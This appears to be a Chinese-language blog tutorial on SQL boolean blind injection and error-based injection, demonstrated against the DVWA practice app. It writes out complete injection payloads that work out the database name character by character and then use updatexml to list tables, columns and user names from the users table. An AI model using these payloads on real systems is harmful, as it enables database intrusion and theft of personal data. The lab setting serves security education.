web安全 sql盲注和报错注入


前言

在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为两类:
基于布尔的盲注(Boolean based)


提示:以下是本篇文章正文内容,下面案例可供参考

一、基于布尔的盲注

length():功能:返回字符串的长度,以字节为单位。

可以基于这个函数,实现盲注。
例:
在这里插入图片描述在这里插入图片描述在这里插入图片描述
输入1’ and length(database())>3 – -得到了结果没有报错,所以可以得到数据库名字节数大于3,
输入1’ and length(database())>4 – -得到了结果报错,所以得到数据库名字节数不大于4,
输入1’ and length(database())=4 – -得到结果没报错,所以得到数据库名字节数为4.

substr():功能:从指定的位置开始,截取字符串指定长度的子串。
ascii():功能:返回字符串最左边字符的ASCII码值

根据这两个函数得作用,来做盲注猜测。
在这里插入图片描述在这里插入图片描述在这里插入图片描述输入1’ and ascii(substr(database(),1,1))>99 – -得到结果没有报错,所以第一个字节ASCII码值大于99,
输入1’ and ascii(substr(database(),1,1))>100 – -得到结果报错,所以第一个字节ASCII码值不大于100,
输入1’ and ascii(substr(database(),1,1))=100 – -得到结果没有报错,所以第一个字节ASCII码值为100.

在这里插入图片描述输入1’ and ascii(substr(database(),2,1))=118 – -得到结果没有报错,所以第二个字节ASCII码值为118
在这里插入图片描述输入1’ and ascii(substr(database(),3,1))=119 – -得到结果没有报错,所以第二个字节ASCII码值为119
在这里插入图片描述输入1’ and ascii(substr(database(),4,1))=97 – -得到结果没有报错,所以第二个字节ASCII码值为97

在这里插入图片描述
跟据得到的ASCII码值:100.118.119.97与ASCII表对应,得到了数据库名为dvwa

这个就是基于布尔盲注的思路,因后面步骤一般使用自动化脚本,所以这里就演示到这里。

三、报错注入

在这里插入图片描述
在这里插入图片描述

输入:1’ union select updatexml(1,concat(0x5e,(select database()),0x5e),1) – -
1’ union select updatexml(1,concat(0x5e,(select version()),0x5e),1) – -
通过报错回显,得到了数据库名为“dvwa”,数据库版本为“5.7.26”。

在这里插入图片描述

爆库,输入:
1’ and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’),0x5e),1) – -
通过报错回显,得到了dvwa库下的两个表

在这里插入图片描述

爆表,输入:1’ and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’),0x5e),1) – -
通过之前爆库下的两个表,猜测users表可能有敏感数据,通过爆users表得到了他里面的字段名。

在这里插入图片描述

报数据,输入:1’ and updatexml(1,concat(0x5e,(select group_concat(first_name,0x3e,last_name) from users),0x5e),1) – -
爆出来敏感数据。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值